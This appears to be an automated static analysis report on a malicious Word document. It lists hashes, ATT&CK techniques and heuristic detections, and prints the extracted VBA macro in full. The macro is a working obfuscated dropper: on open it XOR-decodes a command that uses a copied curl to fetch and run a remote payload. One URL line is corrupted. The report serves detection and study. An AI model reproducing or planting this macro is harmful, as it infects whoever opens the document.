Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 815a8fe229db90c2…

MALICIOUS

Office (OOXML)

103.2 KB Created: 2020-08-10 09:25:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 095cbf7fc1a1b0f881c0059c46a11d5b SHA-1: 93839c4717fe112d2f705dfcb1ee1bc44b353a57 SHA-256: 815a8fe229db90c20ca98c7b37a7516b2df3249166050a7307e2e48ccf7aeb38
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' subroutine is triggered upon opening, which then calls a function to decode a string. This decoded string is executed using the Shell() function, indicating it's likely downloading and executing a second-stage payload. The decoded string reconstructs to a path 'c:\programdata\curl.com', which is likely the location where the payload will be saved or executed from.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Builder\rels\dirpack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schem�K*� OOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1387 bytes
SHA-256: b0f736a36cf145d71808a9cb71b2e00e883e514f41ced55c5e50acf6599f23b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Q"
Function m(Co)
m = Split(Co, "?")
End Function
Sub autoopen()
sS = X("67?77?68?0?15?75?0?2?83?69?84?0?85?29?85?126?82?76?126?67?65?67?126?72?69?6?6?83?69?84?0?82?17?29?82?126?69?6?6?83?69?84?0?83?17?29?71?126?83?126?86?6?6?83?69?84?0?86?17?29?82?126?19?126?18?6?6?67?65?76?76?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?67?85?82?76?14?67?79?77?0?15?5?85?5?0?15?70?126?0?72?84?84?80?26?15?15?86?81?18?18?90?78?84?14?67?79?77?15?80?69?74?65?15?76?69?90?79?87?14?80?72?80?31?76?29?82?89?90?73?70?20?14?67?65?66?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?0?6?6?0?67?65?76?76?0?5?82?17?5?5?83?17?5?5?86?17?5?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?2")
Call FileCopy(Z, d)

Shell sS
End Sub

Attribute VB_Name = "Ya"
Function X(vP)
CN = m(vP)
kC = UBound(CN)
dE = 0
dN = 8
fu = ""
For NF = dE To kC
 fu = fu & Chr(CN(NF) Xor 32)
Next NF
X = fu
End Function
Function d()
d = "c:\programdata\curl.com"
End Function
Function Z()
Z = Replace(ActiveDocument.Shapes(1).Title, "1", "")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: e16d15512e41e82338953ccf7b657d4b282c007589e9b2429860fba61ef65141